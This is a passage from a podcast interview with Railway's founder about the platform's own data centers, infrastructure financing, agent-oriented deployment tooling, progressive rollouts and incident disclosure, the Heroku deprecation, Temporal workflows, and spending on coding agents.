important to make it easy for people to build in the virtual world and have access to creation. But there are legs to that journey.Jake [00:10:30]: You can see divots in the charts. If you follow between 2025 and 2026, it's either summer or winter. People go on holiday with family.Swyx [00:10:50]: It affects that much?Jake [00:10:51]: Yeah. It's kind of B2C and kind of B2B. People are shipping constantly, then they stop. Our activation curve now shows more people activating on weekdays because we have more business users, so it smooths out over time.Agents as the New Interface to DeploymentSwyx [00:11:17]: Was there a point where you started prioritizing AI development or agent development?Jake [00:11:24]: We've prioritized agentic as a top-of-funnel thing. Over the last six months, we've deeply prioritized agentic as a mechanism to build and deploy things because we believe the curve is so steep and that is how people will build and deploy software.Jake [00:11:42]: It almost fundamentally doesn't matter whether this is dot-com or not because we're all on the internet anyway. If agents are going to deploy a bunch of things and we hit an inference wall at some point, we'll fix those problems. The dominant species over the next 10 years is that we've moved from assembly to C to C++ to JavaScript to words. You're going to need to close that loop.Swyx [00:12:13]: When you say this is dot-com, did you mean buying the domain, or the general case?Jake [00:12:17]: I mean the dot-com era, when companies had a huge run-up because people understood the internet was important. Then they hit bottlenecks, fundamental laws of physics, math didn't work, and everybody came back down to earth. But it didn't matter because the internet became so impactful. If you operate on a long enough time horizon, you should build these things anyway because you can see where it's going.Jake [00:12:45]: That's where I think a lot of agent stuff is. You get to a point where you're running thousands of agents in parallel. What is the inference cost? What is the compute cost? How do you make that efficient? How do you coordinate all this? We have issues coordinating humans; we don't even have good tooling for that. Now we have to figure out how to get agents to coordinate, safely version changes, and know when to raise their hand for someone to intervene. Otherwise it becomes an interrupt factory.Railway's Infrastructure Thesis: Network, Compute, Storage, and MetalSwyx [00:13:19]: Let's go right into the technical side. What are the core infrastructure or architectural beliefs of Railway that allow you to do what you do?Jake [00:13:29]: The primitives matter a lot for us. We need network, compute, storage, and orchestration around it. You need control over a lot of those things. We've talked a lot about how we don't really use Kubernetes because we want higher-order control to place workloads in very specific places.Jake [00:13:48]: The reason is that you have to be very efficient with agents: memory reuse and all these other things, or you're going to massively blow up your cost structure. Being able to rack and stack your own servers and build your own metal unlocks performance and cost. Experiences where you're running 1,000 agents in parallel are not massively cost prohibitive.Jake [00:14:13]: Token use and compute use are blowing up. Over time, those things have to get a lot more efficient. You can get a lot of margin to make those experiences solid by building your own metal. That's all in service of offering a differentiated experience to as many people as humanly possible.Swyx [00:14:51]: You have a data center in Singapore.Jake [00:14:53]: Yeah. We have two in every other region now. In Singapore, we're adding a second one in Q3.Swyx [00:14:58]: What's it like? I've never built a data center. Do you go to Equinix and say, “I want some slots?”Jake [00:15:05]: Yeah. Equinix. You basically go and say, “I want power and I want a cage.” They say, “Great, here's what it's going to be.” You rent the cage for a period of time, fill it with racks and servers, and hook up internet to it. That's all the pieces.Swyx [00:15:36]: Then you handle everything else.Jake [00:15:37]: You handle everything else.Swyx [00:15:39]: What's the math versus clouds doing it for you?Jake [00:15:43]: If we rented in the cloud, our payback period when we go to metal is about three months.Swyx [00:15:50]: Which is crazy.Jake [00:15:51]: It's nuts. That's four years of depreciated hardware. You're going to see a lot of this compute crunch because hyperscalers are buying up a lot of stuff. We're working directly with OEMs, resellers, and people building these machines: Supermicro, Dell, and others.Jake [00:16:11]: Upstream, there's a bunch of supply pressure. When we raised our last round, between deploying capital for servers and now, the amount of money we've raised is less than the amount of money we have in the bank plus the value of the servers because the servers have appreciated as RAM has gone up. It's nuts how valuable hardware has become.Jake [00:16:50]: If you look at hyperscalers, they deployed around $80 billion of capital expenditures this year, and next year will be more. That's a massive infrastructure build-out. You look at that and think it's crazy that they're spending way more than the Manhattan Project. But if every person is going to run dozens or hundreds of agents in parallel, you have no conceptual idea how much compute is required to make that experience happen, even if you're deeply efficient and sharing resources. And that doesn't even count inference.Swyx [00:17:22]: How do you plan the build-out? The growth chart is so vertical. Are you usually at 100% utilization as soon as racks are live? How far ahead are you planning?Jake [00:17:33]: We still maintain cloud presence for bursting. We work with AWS, GCP, and a few other clouds. We can rent, and then the moment we get space or power, we compact those workloads off the cloud. We started on the clouds, then built a system to migrate to our own metal. There's nothing that says you can't continually do that again, and that's exactly what we do. We never want to be compute constrained.Jake [00:18:09]: At the start of the year, we actually became compute constrained because one upstream provider wasn't able to give us quota at the rate we needed, and the hardware was slower. I spent a weekend rebuilding our entire network overlay so we could straddle five clouds: Oracle, AWS, ourselves, GCP, and one other one. We can do more than that now.Jake [00:18:38]: We got into a spot where we were trying to pack instances tight because we couldn't get enough compute. That led to a few reliability issues, which are now past us. I made a tweet pointing out that it's becoming harder and harder to acquire compute at the rate these models need to acquire compute. We got bit by it.Swyx [00:19:15]: How do you think about pricing knowing you might not have your own metal available at all times? Are you pricing assuming you need extra margin if you end up going into the cloud?Jake [00:19:26]: Because we've built out our metal data centers, our margins on metal are around 70%. We can deeply subsidize the cloud business if we want to scale at a reasonable rate. We have a few levers: metal, which makes the margins; cloud burst; debt to buy servers; and venture capital. It's an interesting operational problem: how much cash do we have, how much should we raise, how quickly can we deploy it, and can we scale revenue as quickly as we scale compute?Jake [00:20:05]: If we continue making it trivially easy for people to build and deploy, then the faster we close that loop and the more operationally excellent we are with capital, the faster the business can scale. It's almost a straight linear deployment rate.Financing Infrastructure: Hardware Debt, VC, and Operational LeverageSwyx [00:20:20]: I think infra startups raising debt is a tool people don't utilize enough or know enough about. What can you tell us about that? Is it secured against your CPUs?Jake [00:20:32]: It's secured against our hardware.Swyx [00:20:37]: What rates do you get? Who are the lenders?Jake [00:20:39]: We pay prime plus a spread, and we can refinance any of the debt as rates go down. The terms are pretty good. The unfortunate thing is that Twitter has no nuance, so people say, “Venture debt bad.” But as with all things, there are specific tools and areas where you can be deliberate instead of using one tool as a hammer. Venture capital is not the hammer for everything. You have to explore and figure out what works.Swyx [00:21:12]: VC is usually the most expensive financing you can get.Jake [00:21:15]: Yeah. I also think people think about VC incorrectly from a capital-raising perspective. Most people think, “How do I raise as much money as possible from whoever is probably the best I can get at that time?” That's close to right, but what we've tried to do is figure out what unfair advantage we can buy with that equity.Jake [00:21:34]: It's the most expensive equity you're going to give away at that point in time, assuming the company keeps getting better. How do you use it to work with someone stellar who complements you? In the seed stage, I had never started a company. Ray Tonsing had good advice, and I could text him all the time. He was really fast. Awesome.Jake [00:22:01]: Then with John and Erica at Unusual, they said, “You roughly know what you're doing building a product. We'll mostly leave you alone and be available for advice.” Amazing. Then we got to Series A and the business was an operational tire fire because we didn't know how to scale a business. Work with Erica, and Jordan is over at Redpoint, so bonus.Jake [00:22:28]: Now we've raised from TQ and FPV as we're moving into enterprises. Every step of the way, we've asked: who can we partner with at this specific time to unlock the next section of the journey? I don't know enterprise sales. As an engineer, I can eyeball what features we might need, and we have wonderful people internally who can help. But you want boardroom dynamics where everyone is aligned and asking, “How do we win this?” instead of bickering about strategy.Data Centers in Space and the Physics of ComputeSwyx [00:23:31]: You had a tweet about data centers in space. Why no data centers in space?Jake [00:23:37]: It's not “no data centers in space.” My hot take is that I think it is solvable. I've just never seen anybody solve it.Swyx [00:23:49]: You said, “How are you going to dissipate that much heat in a vacuum?” You're making a physics claim.Jake [00:23:55]: I haven't seen anybody prove how you're going to dissipate that much heat in a vacuum. It doesn't mean it's not possible. It just means nobody has brought it up yet.Swyx [00:24:05]: Astrophage.Jake [00:24:06]: I don't know what that is.Swyx [00:24:07]: The Martian thing. Okay, you're very logical.Jake [00:24:09]: It could work. A lot of people are putting the cart before the horse. They say, “We're going to put data centers in space.” Okay, but how? “We have time to figure it out.” It's like in The Martian where they ask how they're going to intercept something and say, “We'll figure it out.”Swyx [00:24:36]: Making a bet on human invention is weird because you blind trust that it can be solved. But with physics, there are first-principles bounds you can put on it. Maybe not. Maybe you're asking to travel time or break a fundamental thermodynamic law.Jake [00:24:57]: I don't know how VCs do this either. How do you know what's not possible and a grift versus what's possible but sounds completely insane? “We're going to put data centers in space.” Coin flip as to which it is, and I guess you'll know in 10 years. That's one cycle.What Agents Need: Versioning, Observability, and 1,000x ScaleSwyx [00:25:23]: Moving back to agents. The branching, fast spin-up, and orchestration you do feels like pre-work that happened to be exactly what agents want. What do agents want differently than humans?Jake [00:25:37]: They want the ability to version things. It's not that different; it materializes slightly differently. Agents want a way to test changes incrementally. Engineers have feature flags. Is there a reason agents can't use feature flags? I don't think so.Jake [00:25:54]: They want version control. Can we use Git or not Git? That one is up in the air. I think something outside Git will emerge for how we version these things over time. They need observability. You need to query what happened, when it happened, which steps failed, traces, logs, metrics, and all the rest. They need network, compute, and storage. They need to write files, save files, iterate on files, and snapshot file systems.Jake [00:26:25]: A lot of what humans needed is in line with what agents need. Branching and forking are not different; we're just moving 1,000 times quicker. It can look like you need something massively different, but what you need is something massively better than what existed. You need orchestration massively better than Kubernetes. You need networking probably better than Envoy. It goes all the way down the stack.Jake [00:26:55]: If the workload profile doesn't change so much as it gets massively compressed because you need thousands of these things, what assumptions change? etcd is going to melt. You need to replace it with something. You can go all the way down the stack and say, “That part has to change, that part has to change, and that part has to change.”Jake [00:27:19]: The interesting thing about the super-exponential curve is that you have to build systems where you can rip out those parts at any time because a new bottleneck might emerge. You get good at parallel agents, and a different part of the system breaks. So it's similar to what humans needed, but at 1,000x scale.Jake [00:27:55]: How do you do code review in the age of agents?Swyx [00:28:00]: You throw more agents at it.Jake [00:28:01]: You don't. But then who reviews for CVEs and all these other things?Swyx [00:28:07]: More agents.Jake [00:28:08]: And that's how we hit the inference wall. You can continually throw agents at the problem, but I think there's a limit to the number of agents you can throw at a problem.CLI, Agent Handles, and Closing the LoopSwyx [00:28:24]: You already had a CLI before it was cool. How is the shape of what you're exposing changing, if at all?Jake [00:28:28]: CLIs have always been cool. The CLI changes because we think about how to give Claude, Codex, ChatGPT, or any model a handhold.Jake [00:28:50]: A CLI is a single command: deploy, get logs, and so on. Things that were prohibitively annoying to humans are not annoying to agents. They're nice. If I handed you a CLI with 40 arguments and 600 flags, you'd think, “I'm never going to use all of this.” But if you hand it to an agent, it says, “This is excellent. I have so many handles to work with.”Jake [00:29:24]: If you're going to expose things to agents that way, you want as many handles as possible where they can get information, query dynamic information, and close the loop quickly. Most problems right now are about how to close the loop as quickly as possible. Where does the agent get stuck, and how can you remove that?Jake [00:29:49]: Telemetry is important. If you can tell where the agent gets stuck from the CLI and say, “12% of people deviate from the happy path because of this, and now I add this argument and drive it down to 2%,” you massively increase the rate of loop closure.Jake [00:30:03]: That's how we think about not just the CLI, but every point in the dashboard. It's a user journey: I hear about Railway. I get something deployed. I get my first green build or aha moment. I see an endpoint, logs, whatever. Then I iterate. The iteration loop is indefinite. The user wants to deploy a new thing, a Postgres instance, change code, and keep iterating.Jake [00:30:36]: If you focus on the iteration loops and what's blocking them from closing quickly, one thing we say internally is: you never want to be waiting on compute anymore. You always want to be waiting on intelligence. If you're waiting on compute, there's a bottleneck that needs to be destroyed because eventually that bottleneck becomes so large that another workflow emerges to change it.Jake [00:31:04]: We've built a product where you push code, build it, and so on. But I fundamentally believe the push-pull loop is going away. We'll get to a point where you make a small change in production, that change is versioned across your infrastructure, you're working alongside copy-on-write versions of your database and infrastructure, and then you merge it in and it's instantaneously live. That's the holy grail of loops. The push-pull-rebuild thing is a point of friction that we're removing entirely.Canvas as Output: Dashboards, Context Anchors, and HyperstructuresSwyx [00:31:43]: It's incredibly fast. If anyone hasn't tried it, that fast feedback is great. My hot take is that Railway was famous for its canvas, which visualizes your infrastructure and lets you manipulate it visually. But that was for humans. For the next phase of growth, Railway CLI is more important than canvas.Jake [00:32:05]: The canvas is funny because it's a mechanism to show changes over time. You're right that previously we used it a lot as an input. Moving forward, its goal is more like an output. You would go to the canvas, make changes, see them, and watch your infrastructure evolve. Now agents have access to the CLI and can make those changes. So the canvas becomes an output: what information does the human need at this moment to make suitable decisions about control requests? Do I approve this or not?Jake [00:32:57]: It also has to be an anchor for your context, a port in the storm. Think of it like layers in a file system. You start with a project, then drill down into services, then into a function or code, because you want to represent the entire thing not just in your head, but in the canvas. Other people can share that representation, think on the same wavelength, and move quickly.Jake [00:33:33]: A lot of organizations get in trouble as they scale because all the context lives in someone's head. “How does this microservice work?” “I have no idea; go ask this person.” Then you have whole categories of products built around context discovery. A lot of that melts away if you have a solid hierarchy and can infinitely nest services, code, context, and everything else all the way down. That's what lets you build these structures over time.Jake [00:34:18]: It's also what lets us build what I've called hyperstructures: things that are way bigger. You look at the Golden Gate Bridge and ask, “How did we build that?” There's a meme that we lost the technology. To some extent, yes, because the coordination that built those things evolved and changed. We lost some of the art of building structure as we jammed everything into Slack.Swyx [00:34:52]: But you jam everything in Discord.Jake [00:34:53]: Same point. It doesn't matter. It's message passing and interrupts, message passing and interrupts.Swyx [00:35:00]: So you're arguing there should be something better and more structured than Slack?Jake [00:35:04]: Yeah. For sure. I think Slack is awful, and Discord is awful too.Central Station: Context Routing, Support, and Incident ClustersSwyx [00:35:09]: This is the equivalent of my mom test. What have you done that has your solution to this?Jake [00:35:15]: Internally, we've built a tool called Central Station that aggregates all the context from our users. Every piece of feedback, every customer support item, everything gets aggregated into clusters. If an incident is brewing, we can determine how many users are affected and break off a discussion based on that.Jake [00:35:40]: That is more helpful than long-running channels where you're trying to decide which channel to put something in. If you can dynamically aggregate information and dynamically route it to the right person based on context, it works better. We know internally that these four people are close to networking. If we see a networking thing, we can drill it down to those four people. If it's with this part, we can look at the commits. This is no longer a manual process internally.Jake [00:36:13]: If you go to station or help.railway.com, that's why we built it. We wanted to scale with a massive amount of leverage by aggregating feedback.Swyx [00:36:27]: This is built in-house?Jake [00:36:28]: Yep.Swyx [00:36:29]: I remember helping out on this one with Angelo in 2023. You scale a lot with a very small team.Jake [00:36:38]: Yeah. We're about 10 times bigger now.Swyx [00:36:40]: You have your full developer code here? Very cool.Jake [00:36:44]: If you go to railway.com/stats, we expose this as a pub-sub-able thing. It's all real-time metrics. There's a way to get it as JSON somewhere if you care.Jake [00:37:01]: We're big on trying to build everything in public and talk about what we're working on. We've had issues in the past, and we'll say, “Here's how we're fixing these things.” We've gotten compliments and flak for incident reports. We're always trying to make them better and talk with people.Incidents, Disclosure, and Progressive RolloutsSwyx [00:37:20]: You had a big one recently. I liked that it was scoped to 3,000. You presumably used Central Station. Talk through what happened and how you address it internally as a team.Jake [00:37:38]: Internally, this one really sucked. It had to do with an upstream provider that didn't do the behavior it said it documented, which is unfortunate given they wrote the RFC for how the behavior should work. We rolled those things out, and Central Station caught it initially when a couple users said caches weren't invalidating. We turned it off immediately.Jake [00:38:03]: When you roll out to a large user base of three million people, you get a lot of disparate behaviors. We tested in staging and had tests, but we hit an edge case. We've hardened those systems, and now we can make that better. But it was a tough one.Swyx [00:38:39]: I always wonder how private disclosure is supposed to work if people find an issue. Are they supposed to contact you first? When you run a platform, these things will happen. What channels should people pursue to quietly resolve it before it becomes a bigger incident?Jake [00:38:59]: There's responsible disclosure. We err on the side of over-disclosing and letting you know something is wrong versus having your provider gaslight you. We've erred on sharing those things more publicly, even if they impact a small subset of users. That's a decision we've made internally. We have four values. One is honor. The honorable thing is to notify people to the widest degree at which they may have been affected or there was an issue, and then confront it head-on: why did it happen, what can we do better?Swyx [00:39:45]: Not the whole user base. That's because of incremental rollouts and other things?Jake [00:39:50]: Yeah. Progressive rollouts.Swyx [00:39:54]: That should be the norm at all large platforms.Jake [00:39:58]: It should. A variety of companies do this. There's the quote that Meta runs 10,000 different versions of Meta. To our earlier point about agents, they need the same thing. They need shadow traffic and all these other things. We've built so much ceremony around production being sacred that we need to make it trivially easy to test different behaviors in a safe environment. Then you can make mistakes in a safe environment.Safe AI SRE: Customer Agents, Forked Environments, and Production ParityAlessio [00:40:30]: Do you see a world where these things get automatically caught, not necessarily by your agent, but by your customer's agent? The cache invalidation issue seems easy to check if you know to look for it.Jake [00:40:44]: It's hard because to determine it, we almost need to hook into your observability infrastructure. That's why we have the template loop on the platform: so you can roll things out progressively. You can roll out to Johnny Vibe Coder initially, or push a shard that someone consumes at their own leisure. Or you can roll it out over weeks: 0.1% of people, 1% of people, early adopters, then all the way up. That's the non-deterministic version control we talked about earlier.Jake [00:41:30]: I believe that's where most things should go, because most companies end up building staged rollout systems in-house. It's the same thing built again and again at every company. There's a massive opportunity to consolidate developer debt.Alessio [00:41:45]: You should have a free tier. Model providers give free tokens if you let them use the data. You could give free compute if someone is the number-one shard that goes out and lets you plug into their observability.Jake [00:41:55]: We do that. That's why we talked about the impact on 3,000 people. We start with lower-impact people. Larger companies on the platform are last to receive those rollouts so they have a version of the platform that's deeply stable.Alessio [00:42:16]: I have three services, so I'm sure I get the first rollout. You can nuke my thing at any time. There are all these SRE agent companies. Observability people also want agents that fix upstream problems. You have your own agent in the canvas now. How do you see that playing out?Jake [00:42:39]: It's the stacking entropy problem. If you don't have primitives to make iteration in production safe, it becomes difficult. If you're an observability provider saying, “Here's the fix to this error,” assume 80% are good and make sense. But in the last 20% long tail of complex issues, if you let somebody stamp it, you create an opportunity for an incident.Jake [00:43:08]: That's why forked environments are important. People have staging, but it always drifts from production. You need primitives, workflows, and experience built first-party on the platform so you can fork any service at any point in time.Jake [00:43:33]: I think of the canvas as a sheet of transparency paper. The agent is a little guy you push up into the canvas. It should say, “I need to copy that service and that service so I can test these two things.” It gets a read-only copy of production. Anything that's PII gets marked as a transform when we clone the database, create a copy-on-write version, or read from it. Then the agent makes changes and asks, “Does this actually work?” as close to production as possible.Jake [00:44:22]: That's how close you have to be, or you get massive drift. The system becomes unstable. You see this with massive systems built on Docker for local, Kubernetes for production, and a specific thing for something else. That complexity slows developers and becomes unstable at scale, making it hard to iterate. We want to compress that way down and say, “As close to prod as possible is where we want to be.”From AISRE Skeptic to Agent BelieverSwyx [00:45:00]: I was texting Erica for questions, and she says you were originally not a believer in AISRE. Have you come around on it?Jake [00:45:10]: I flipped, but I'm still not a believer in AISRE if you don't have the primitives to make it safe. If you unleash AISRE on production infrastructure without safe primitives for copying volumes and making sure things are fine, it's going to nuke your production database. It's not a matter of if, but when. I'm a big believer in making those loops safe.Jake [00:45:33]: I was a deep AI skeptic until 2023. In 2024, I thought, “Maybe I can roughly make this thing do it.” In 2025, I thought, “Now I can hold this.” Over winter break, everybody came back saying, “It's almost impossible to hold this.”Swyx [00:46:01]: Did you see this on the Claude docs? CloudBot? OpenCloud?Jake [00:46:06]: It's gotten to a point where it's harder to hold it wrong than to hold it right. There's a scene in Avengers where Vision picks up Thor's hammer and says it's terribly well-balanced. It self-balances and works well. I'm a deep believer at this point that this will be the dominant species: assembly, C, C++, JavaScript, words.Swyx [00:46:35]: It feels like a big jump.Jake [00:46:37]: It is. But it's not like you abandon CPU-based discrete logic and move straight to fuzzy logic. You need both. Your skills should call code or applications or some static structure. You can use skills to distill what the procedure should be or how the code should act.Jake [00:47:02]: I'm coming to a thesis: you need three points. You need a clear spec defining the system, the code, and the tests. When you say it out loud, if you've been in engineering long enough, you're like, “Of course. That's an RFC, tests, and code.” But they all matter. Having them together lets them reinforce each other: the spec and tests match, but the code doesn't, so reconcile it. Or the tests and code match but the spec doesn't, so reconcile that. That's the iteration loop.Jake [00:47:41]: That's why you're seeing people talk about software factories, docs, and reconciliation. Some of that is architectural astronomy if you don't implement it, but that loop is where most things will end up.Swyx [00:48:07]: For listeners, we've been talking about this on the pod for three years: the holy trinity of specs and tests. Itamar Friedman from Qodo is the reference if people want to look it up.Self-Modifying Infrastructure and the End of Push-Pull-RebuildSwyx [00:48:18]: One thing I want to mention on the OpenCloud idea is self-modification. I don't know how Railway would support it, but I have my OpenClaw, and I just tell it it has the Railway CLI and can do whatever. In theory, whatever capabilities or new infra it needs, it can call the Railway CLI, provision it, and add it to itself. The agent can modify its own infra.Jake [00:48:45]: It's nuts. I have a loop set up where you put the Railway CLI on top of something that runs on Railway. You're authenticated as whatever the current box is, and you can make any changes to it. Then you call Railway deploy, and it deploys itself.Jake [00:49:04]: It's like: “I need to spin up this instance of this environment. I already exist in this environment. Excellent, I have access to a Postgres instance now.” That's where we want to go with agentic, self-replicating infrastructure. That's your loop: iterate in production. You continue making changes. If it works, merge it upstream. If it doesn't, throw it away.Jake [00:49:37]: How do you make throwaway copies trivial to spin up and super cheap? The era of “I have an AWS instance with four vCPU and 16 gigs of RAM” is going to get destroyed. If you do that for agents, you need a thousand of those machines. It's prohibitively expensive compared with what we've spent a ton of time figuring out: the atomic unit of deploy, whether you call it isolates, sandboxes, or something else. Only pay for what you use, spin up instantaneously, and close the loop as quickly as possible.Jake [00:50:15]: If the system can self-replicate safely and say, “This is my environment, I'm making these changes,” it can come back with, “Does this look good? This is a new state of infrastructure given this prompt. I think I've solved it.” Then you go back and say, “Actually, it looks different.” It does the loop again. Then you say, “Cool. Apply.”Swyx [00:50:38]: That's retroactively obvious, which is the most useful kind. Any other comments on agent deployment on Railway?Jake [00:50:51]: It's getting better every day. I'm on X or Twitter. You can always yell at me about the parts not working as well as they should, because plenty of things should work way better.The New Serverless: Stateful, Long-Running, Pay-for-What-You-Use LinuxSwyx [00:51:04]: At this stage, when people want massively or embarrassingly parallel compute, they usually talk serverless. I feel like there's a new serverless compared to the previous five years of serverless. You're in that new bucket. Do you have comparisons or philosophical differences you want to call out?Jake [00:51:31]: It's somewhere in between. It's the ability to run stateful, long-running workflows or executions.Swyx [00:51:42]: Vercel has Fluid Compute, Cloudflare has some container thing, Google has App Runner and others.Jake [00:51:55]: That's where everything is roughly going, and it's why we've been working on this for six years. We believe users need access to a computer: a box that speaks Linux. They need to deploy what they want. Other systems change the surface area of what you can build. For us, users need a computer and need to deploy anything they truly want. That's why we've focused on the primitives: network, compute, storage. If we give you those and expose them so you can run things indefinitely, that's where we believe it's going.Jake [00:52:43]: Twitter has no nuance, so everyone says “servers” or “serverless.” It's always somewhere in the middle: I want to run it for a long time, but I don't want to provision the resource statically or pay for things I'm not using. That's been our thesis from day one: pay only for what you use, run it indefinitely, and it is full Linux.Swyx [00:53:12]: That's why I like the naming of Fluid. It's fluid. Flexible.Heroku, Focus, and Carrying the Torch Without Becoming the PastSwyx [00:53:18]: Another milestone is the Heroku official deprecation. You're one of the presumptive new Herokus. “New Heroku” has been a category for as long as I've been in developer tooling. It's finally happening. What was that like? Any behind-the-scenes of, “This is the moment”?Jake [00:53:42]: You have people where you're like, “You were running stuff on here? You, as this company?” It's crazy that names you would know are running on it and now coming to us saying, “We want to move a lot of this off.”Swyx [00:54:00]: Any behind-the-scenes on why Salesforce let Heroku stagnate?Jake [00:54:05]: I can only guess. It's hard when it's not your business. Salesforce's business is to build a great CRM. That's their focus. Then you acquire a compute business as an offshoot. A lot of early Meta people talk about focus. Boz has a write-up about how in the early days of Meta they had no money, so they were forced to focus. Then they turned on the money tree and had no reason not to split their focus.Jake [00:54:52]: But that dilutes your product. You get offshoots where you ask, “Is this the focus of the business?” If it's not core, it languishes. A lot of companies get in trouble when they split focus because they're fighting a multi-front war, not just externally but internally for alignment. Where are we going? What are we doing? What is our purpose?Jake [00:55:24]: If you're Salesforce-built and mission-driven, you want to work on Salesforce. Heroku is off to the side. It's not core to the business. Getting resources, budget, focus, and alignment internally becomes hard. It was a matter of time.Swyx [00:56:06]: Kudos for them to call it out instead of leaving it unknown.Jake [00:56:12]: Their release was a little odd. They called it out, but they didn't say they were shutting it down. Behind the scenes, I think they issued messages to people saying they should close accounts and that they were going to deprecate and remove things over time.Jake [00:56:30]: It's crazy because some of my first deployment experiences were on Heroku. You start with dragging things into an FTP server, then you try to get a deploy working, and then it's Heroku. It was the on-ramp for us. But the wheel turns. New things emerge. We're happy to carry the torch for a lot of that. But we don't want to be the new Heroku. We want to be the way people build and deploy software, and ultimately the way people monetize software over time.Swyx [00:57:19]: It's still a big crown to be the new Heroku. There are 50 companies that fought for that.Jake [00:57:23]: Everybody is holding some portion of it. We're happy to support people and companies. The platform works differently. The game loop is similar, but we've been dogmatic about where these things are going: primitives, agents, fan-out. Some things fit; some workflows need to change. We have an approximation of Heroku pipelines with the environment system. It's exciting. We've got a ton of people we can support, and it's growing a lot.Temporal, Workflow Engines, and State MachinesSwyx [00:58:12]: I have one more technical question about Temporal. I've sold my shares. You're a power user and one of our earliest customers. I met you through Temporal. You built on Temporal. You have complaints. This may be the most neutral and informed conversation anyone will hear about Temporal without someone working at the company.Jake [00:58:39]: That's fair. I've used Temporal for almost 10 years because of Cadence at Uber.Swyx [00:58:52]: Give people a sense of what Cadence was at Uber.Jake [00:58:57]: Cadence was the precursor to Temporal. It powers trip actions, rides, when you rent a Jump bike or scooter or car. You're running workflows for a period of time and saying, “This ride will run indefinitely until it finishes.” You attach information: you paused in this zone, so add this charge to the bill. When you end the trip, the workflow is done. That experience was powered by Cadence at the time.Swyx [00:59:34]: I used to say it's like programming the entire user journey top-down as one function.Jake [00:59:39]: It's a powerful idea and important. It's also important for the next phase of the agentic journey. You want an agent to do a specific task, be complete or incomplete on that task, and move on to the next thing. You need a way to manage workflows dynamically.Jake [00:59:59]: Temporal was always great in theory, and great when you got it working the way you wanted in production. But it required you to model the entire journey in your head. If you didn't, you could cause issues where replaying the state of the workflow causes non-determinism.Swyx [01:00:25]: Because it works on deterministic workflow history.Jake [01:00:28]: Exactly. I describe it as a jet engine. If you know how to operate it and run it, it's great. But you can't hand it to people trying to build complicated things if they don't have the whole state in their head.Jake [01:00:48]: We run our whole deployment pipeline on top of it. That's a reasonably complicated workflow: pre-commit hooks, signaling, queuing, and all the rest. We ran into the same thing at Uber. As you express a large workflow, it gets more complicated, with more states in the state machine that you have to map back to the workflow.Swyx [01:01:15]: It's a lot of ifs.Jake [01:01:16]: Exactly. At Uber, we built a system for doing the state machine and testing it. We've started to build some of those things here because it's grown heavily. It's not quite love-hate. When it works well, it works super well. But if someone who doesn't have full context puts something into the system that invalidates state or causes non-determinism, or spins off a ton of activities, you have to keep track of underlying SRE knobs like activity slots. Those should scale with memory, vCPU, and so on. It becomes a bear to scale.Swyx [01:02:10]: You need a capable sysadmin running things behind the scenes. If you moved off, what would you do?Jake [01:02:19]: We'd build our own workflow engine. We have a few internally that we've worked on.Swyx [01:02:27]: This is one of those classes of things you typically wouldn't vibe code, but I'm wondering if you can.Jake [01:02:33]: I still don't think you should vibe code it. You still want to run decent tests to make sure it works.Swyx [01:02:39]: Timo didn't invent that from scratch either. There are libraries you can run. On top of that, it's just a state machine that you have to map out. Ultimately, you define the instructions you want and run them through a state machine.Jake [01:03:00]: It's very doable. Workflow stuff is interesting. Restate is doing neat stuff here.Swyx [01:03:10]: You're tied into JavaScript. Are you a JavaScript maxi?Jake [01:03:13]: Internally, we have TypeScript, Rust, and Go. We don't add more languages. Actually, we have a little C because we write BPF code and hooks. But those are the languages.Swyx [01:03:28]: Is this for sidecars?Jake [01:03:32]: No. It's for the networking stack, volumes, and things like that. We use TypeScript a lot because it powers the dashboard, but we're moving a lot of workflow stuff off the dashboard stack and into the infrastructure stack.Railpack, Nixpacks, and Content-Addressable FilesystemsSwyx [01:04:00]: Cool. Any other technical infrastructure stuff? Railpacks?Jake [01:04:07]: We built an engine for determining dependencies based on source code. It's called Railpack. We built the first version, Nixpacks, on top of Nix, and then we moved.Swyx [01:04:17]: People have been trying to get me to adopt Nix and NixOS for four years. Is it ever going to be a thing?Jake [01:04:23]: I don't know. We're excited about it, but it has pain points. Think of it as a stack of versioned binaries at specific slices in time. If you want version X and version Y, you bloat the package space, which blows up image size and makes real-world workloads difficult.Swyx [01:04:53]: But you content-address it and cache it. In theory, there are optimizations.Jake [01:05:00]: In theory, yes. But with a large enough user base and disparate enough machines, you run into a problem Meta described in the XFAAS paper, their internal serverless system. It becomes difficult at scale unless you break out specific runtimes.Jake [01:05:24]: We didn't want to do that because we wanted to truly allow you to deploy anything. That was our initial thing with Nix. But we've moved toward interesting work around content-addressable file systems that can lazy-load anything from any point and page it into memory.Swyx [01:05:48]: Amazing.Jake [01:05:49]: The future is very bright. It's crazy, and it's going to be nuts.Coding Agent Spend, Roadmaps, and Token ROISwyx [01:05:54]: Founder journey stuff?Alessio [01:05:56]: Your cloud usage: you tweeted you're going to spend $300K this month?Jake [01:06:01]: I think we got to $200K.Alessio [01:06:02]: Coding agents?Jake [01:06:03]: Yeah.Swyx [01:06:04]: Across the company?Alessio [01:06:05]: You only have 35 people, so I'm sure they're not all spending $10K a month. What's the distribution?Jake [01:06:10]: I think I'm at about $25K. We have power users all the way down. We came back from winter break, and I basically said, “If you're writing code by hand, you're doing this wrong.” The tools are good enough now that you can move extremely quickly. There are issues and pain points, but you should be reviewing the code you are writing instead of writing it by hand.Jake [01:06:40]: Architectural patterns matter more now than ever, but you shouldn't spend your time generating code you would write. If you know how to write it, ask the agent to write it and reconcile it until it looks like you would have written it yourself.Jake [01:06:58]: People misconstrue my propensity to push people toward agents as connected to our growth and some reliability bumps. They're not necessarily related. The tools are good enough to move extremely quickly and build things way larger than you could before.Jake [01:07:19]: To the earlier point about cooling data centers in space: I don't know. But with software, you can ask, “How would I build block storage from scratch? How would I do these things?” I have ideas because I have history and have read papers. Let me work them out and build massive test benches with thousands of tests, because those are now free to author. If you're not using AI systems to speed-run your roadmap and reconcile your existing system onto the future, you're missing a large point of what's happening.Alessio [01:08:12]: What's the path to spending $3 million a month? Is it bound by ideas and things customers can absorb?Jake [01:08:19]: For most companies, it's bound by deployment at this point. That's why we've seen a massive boom in users and companies, from Fortune 50s down, asking how to get developers to move faster. You'll probably hit your CFO before any technical limits because they'll look at the eye-watering amount of money spent on tokens. Inference costs have to come down, but we're inference constrained now. There will be price discovery around what makes sense for an org to adopt.Jake [01:09:06]: I think you'll end up with the F1 driver concept. If someone is really adept at these things, it makes sense to put them in a $3 million car. If they're not, it probably doesn't make sense. You'll take a few people and say, “You can drive the F1 car. We need to go in this direction. Figure out if it works and prototype it.”Jake [01:09:33]: We've done some of that and vastly accelerated our roadmap. We thought we'd ship something in a few years; now we can probably ship it in a few months because we validated it and don't have to build it 